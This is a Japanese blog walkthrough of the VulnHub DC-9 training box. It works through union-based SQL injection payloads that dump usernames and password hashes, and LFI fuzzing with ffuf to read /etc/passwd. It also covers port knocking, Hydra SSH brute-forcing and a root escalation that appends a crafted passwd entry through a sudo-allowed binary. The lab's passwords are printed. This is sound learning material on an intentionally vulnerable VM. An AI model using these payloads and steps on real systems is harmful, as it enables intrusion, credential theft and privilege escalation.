2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

VulnHub DC-9 Writeup

Posted at

0, DC-9について

VulnHubからダウンロードできる、脆弱性のあるボックスです。

1, nmapでスキャンする

/etc/hostsにDC-9のIPをdc9.localで解決できるよう記述した後、nmapでDC-9をスキャンします。

# nmap -Pn -T4 -A -oN report_nmap_dc9 dc9.local
# cat report_nmap_dc9
# Nmap 7.92 scan initiated Fri Jun 24 22:23:33 2022 as: nmap -Pn -T4 -A -oN report_nmap_dc9 dc9.local
Nmap scan report for dc9.local (192.168.100.52)
Host is up (0.00087s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:C2:17:8F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
という情報が得られました。

searchsploitでApache 2.4に脆弱性がないか調査します。

# searchsploit Apache 2.4
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution                    | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner                  | php/remote/29316.py
Apache 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting                  | unix/remote/30835.sh
Apache 2.4.17 - Denial of Service                                                  | windows/dos/39037.php
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalat | linux/local/46676.php
Apache 2.4.23 mod_http2 - Denial of Service                                        | linux/dos/40909.py
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory Code Execution    | php/remote/40142.php
Apache 2.4.7 mod_status - Scoreboard Handling Race Condition                       | linux/dos/34133.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak                                   | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service                                | multiple/dos/26710.txt
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)           | multiple/webapps/50383.sh
Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)           | multiple/webapps/50406.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2)                        | multiple/webapps/50446.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)                        | multiple/webapps/50512.py

2, Webページの調査

searchsploitの結果、Metasploitなどで侵入することは難しそうです。
なので、地道にWebサイトを調査します。
入力フィールドがあるのは、SearchとManageです。
01_04_dc9-search.png
01_05_dc9-manage.png

まずはManageでSQLインジェクションができないか試してみます。
01_05_02_SQLi_miss.png
だめでした。

次にSearchで、SQLインジェクションの検証をします。
01_06_SQLi_Success.png
成功です。SQLの脆弱性を利用し、情報を取得していきます。
01_06_Success2.png

3, カラム数の特定

表示されている画像から、Searchで生成されるクエリは、

select id, name, position, phone, email from table where name="{input}"

のようになっていることが予想できます。なので、テーブルのカラム数は5以上です。

カラム数が10を超えているか?その調査のためには、以下のクエリを投げれば良いです。

' or 1=1 order by 10 #

10列目の値で並べさせるクエリを送ります。結果、以下の結果が出力されました。
error_10.png
よって、列数は5~9であると分かります。

order byの数値を変えて調査を進めると、カラム数は6であると分かります。

' or 1=1  order by 6 # → 成功
' or 1=1  order by 7 # → 失敗

4, Union Based SQL Injection

次に、Union Based SQL Injectionという手法を使い調査を進めます。
Union Based SQL Injectionとは、unionを使い行を挿入することで内部情報を抜き取る手法です。
まずは、簡単なクエリを投げてみます。

' or 1=1  union select 1,2,3,4,5,6; #

02_01_union_SQLi_start.png
新しく1つの行が追加されました。

ここで、4,5,6を数値ではなく関数に置き換えます。

' or 1=1  union select 1,2,3,user(),database(),version() ;#

SQLunion.png
クエリを発行したユーザー、使用中のDatabase、DBのバージョンを出力できました。

これを更に進め、スキーマの一覧を出力させます。

' or 1=1  union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata; #

02_02_SQLi_schema.png

Staffに含まれるテーブル一覧を取得します。

' or 1=1  union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='Staff'; #

02_03_SQLi_tables.png

StaffスキーマのUsersテーブルのカラムを取得します。

' or 1=1  union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='Users'; #

02_04_SQLi_columns.png

UserID, Username, Passwordを取得します。

' or 1=1  union select 1,2,group_concat(UserID),group_concat(Username),group_concat(Password),6 from Users; #

02_05_SQLi_Username_Password.png
UserID : 1,
Username : admin,
Password : 856f5de590ef37314e7c3bdf6f8a66dc
が得られました。

同様に、usersデータベースを調査します。

' or 1=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='users'; #
→ UserDetails
' or 1=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='UserDetails'; #
→ id,firstname,lastname,username,password,reg_date
' or 1=1 union select 1,2,3,group_concat(username),group_concat(password),6 from users.UserDetails; #

sql2.png
得られたusernameとpasswordを保存しておきます。
user_pass.png

5, ログイン、LFIの利用

パスワードハッシュを解析し、admin / transorbital1 で Manageにログインします。
ログインすると、フッターのエラーメッセージ "File does not exist" が目に付きます。
LFI01.png
ttp://dc9.local/welcome.php?xxxx=xxxxのようにパラメータを指定して、/etc/passwdなどを表示させることができそうです。

パラメータ名を取得するため、ffufというツールを使います。
https://github.com/ffuf/ffuf
Burp SuiteなどでセッションIDを入手し、以下のコマンドを実行します。
burp-parameter-names.txt は↓からダウンロードします。
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt

# ffuf -w burp-parameter-names.txt -u http://dc9.local/welcome.php?FUZZ=test_value -b "PHPSESSID=811tqnan26gfrdvq17hqpqfmpr" -fs 4242
...
________________________________________________

 :: Method           : GET
 :: URL              : http://dc9.local/welcome.php?FUZZ=test_value
 :: Wordlist         : FUZZ: burp-parameter-names.txt
 :: Header           : Cookie: PHPSESSID=811tqnan26gfrdvq17hqpqfmpr
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 4242
________________________________________________

12                      [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 16ms]
11                      [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 21ms]
1                       [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 21ms]
APICpictureType         [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]
AVSCV2                  [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]
AMOUNT                  [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]

-fsの値を963に変えても、パラメータ名を検出できません。
ここで、LFI脆弱性がある前提で、引数に渡す値をファイルパスとしてffufを実行します。

# ffuf -w burp-parameter-names.txt -u http://dc9.local/welcome.php?FUZZ=../../../../../../etc/passwd -b "PHPSESSID=811tqnan26gfrdvq17hqpqfmpr" -fs 963
...
file                    [Status: 200, Size: 3316, Words: 71, Lines: 86, Duration: 17ms]
:: Progress: [6453/6453] :: Job [1/1] :: 1243 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

脆弱性のあるパラメータ名はfileです。
ttp://dc9.local/welcome.php?file=../../../../../../etc/passwd にアクセスします。
LFI02.png
SQLインジェクションで得たusernameが、全てsshログイン可能となっています。

6, ユーザー権限取得

最初にnmapを実行したとき、
22/tcp filtered ssh
でした。

ポートノッキングで開けないか、/etc/knockd.conf を調べます。
knock01.png
7469, 8475, 9842 の順番でknockすれば22番ポートを開けます。

# knock dc9.local 7469 8475 9842
# nmap -p22 dc9.local 
...
PORT   STATE SERVICE
22/tcp open  ssh

22番ポートに、hydraでブルートフォース攻撃を行います。

# hydra -L username.txt -P password.txt dc9.local ssh 
...
[22][ssh] host: dc9.local   login: chandlerb   password: UrAG0D!
[22][ssh] host: dc9.local   login: joeyt   password: Passw0rd
[STATUS] 238.00 tries/min, 238 tries in 00:01h, 57 to do in 00:01h, 10 active
[22][ssh] host: dc9.local   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found

username : janitor / password : Ilovepeepee でログインします。

janitor@dc-9:~$ whoami
janitor
janitor@dc-9:~$ pwd
/home/janitor
janitor@dc-9:~$ ls -al
total 16
drwx------  4 janitor janitor 4096 Jun 25 14:31 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Jun 25 14:31 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin

ログインできました。

7, 権限昇格

ログイン後、.secrets-for-putin/passwords-found-on-post-it-notes.txt を表示します。

janitor@dc-9:~$ ls -al
total 16
drwx------  4 janitor janitor 4096 Jun 25 14:31 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Jun 25 14:31 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin
janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

新たに見つけたパスワードリストを用いて、再度hydraでブルートフォース攻撃を行います。

# hydra -L username.txt -P password.txt dc9.local ssh
...
[22][ssh] host: dc9.local   login: fredf   password: B4-Tru3-001
[22][ssh] host: dc9.local   login: chandlerb   password: UrAG0D!
[22][ssh] host: dc9.local   login: joeyt   password: Passw0rd
[STATUS] 324.00 tries/min, 324 tries in 00:01h, 68 to do in 00:01h, 15 active
[22][ssh] host: dc9.local   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 4 valid passwords found

hydraで新たに発見できたfredfにログインします。
他のアカウントでは、root権限で実行できるファイルはありませんが、
fredfは /opt/devstuff/dist/test/test をroot権限で実行できるようです。
sudo-l.png

/opt/devstuff/dist/test/test を調査します。

fredf@dc-9:~$ file /opt/devstuff/dist/test/test
/opt/devstuff/dist/test/test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=28ba79c778f7402713aec6af319ee0fbaf3a8014, stripped
fredf@dc-9:~$ ls -al /opt/devstuff/dist/test/test
-rwxr-xr-x 1 root root 1212968 Dec 29  2019 /opt/devstuff/dist/test/test

testはroot権限が与えられた実行ファイルです。

実行ファイル周辺のファイルも調べます。すると、/opt/devstuff に test.py がありました。

fredf@dc-9:/opt/devstuff$ pwd
/opt/devstuff
fredf@dc-9:/opt/devstuff$ ls -al
total 28
drwxr-xr-x 5 root root 4096 Dec 29  2019 .
drwxr-xr-x 4 root root 4096 Dec 29  2019 ..
drwxr-xr-x 3 root root 4096 Dec 29  2019 build
drwxr-xr-x 3 root root 4096 Dec 29  2019 dist
drwxr-xr-x 2 root root 4096 Dec 29  2019 __pycache__
-rw-r--r-- 1 root root  250 Dec 29  2019 test.py
-rw-r--r-- 1 root root  959 Dec 29  2019 test.spec

test.py を表示します。

fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

第1引数のファイルを開き、内容を読みます。
その後第2引数に指定されたファイルに、読み込んだ内容を追記します。
/opt/devstuff/ 以下の実行ファイル、/opt/devstuff/dist/test/test はこのコードをコンパイルしたものと予想できます。
testを利用し、/etc/passwd にroot権限を持つ新たなユーザーを追加します。

fredf@dc-9:/opt/devstuff/dist/test$ pwd
/opt/devstuff/dist/test
fredf@dc-9:/opt/devstuff/dist/test$ openssl passwd -1
Password: (12345)
Verifying - Password: (12345)
$1$A4oy3Guw$MN1eMplrkMHQToSZWnqVu/
fredf@dc-9:/opt/devstuff/dist/test$ cat ~/exploit_passwd 
pwned:$1$A4oy3Guw$MN1eMplrkMHQToSZWnqVu/:0:0:root:/root:/bin/bash
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test ~/exploit_passwd /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ su pwned
Password: (12345)
root@dc-9:/opt/devstuff/dist/test# cd /root
root@dc-9:~# ls -al
total 32
drwx------  5 root root 4096 Dec 29  2019 .
drwxr-xr-x 18 root root 4096 Dec 29  2019 ..
lrwxrwxrwx  1 root root    9 Dec 29  2019 .bash_history -> /dev/null
-rwx------  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 Dec 29  2019 .cache
drwx------  3 root root 4096 Dec 29  2019 .gnupg
drwx------  3 root root 4096 Dec 29  2019 .local
-rwx------  1 root root  148 Aug 18  2015 .profile
-rwx------  1 root root 1821 Dec 29  2019 theflag.txt

theflag.txtを表示しましょう。

8, 参考資料

参考にさせていただいたwriteup
https://arz101.medium.com/vulnhub-dc-9-1db15e8b878e
https://grumpygeekwrites.wordpress.com/2021/06/06/dc-9-vulnhub-walk-through-tutorial-writeup/
https://www.hackingarticles.in/dc-9-vulnhub-walkthrough/

SQLiの学習に使った講座
https://www.udemy.com/course/sql-injections-unlocked-sqli-web-attacks/

権限昇格の学習に使った講座
https://www.udemy.com/course/the-complete-linux-privilege-escalation-course/

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?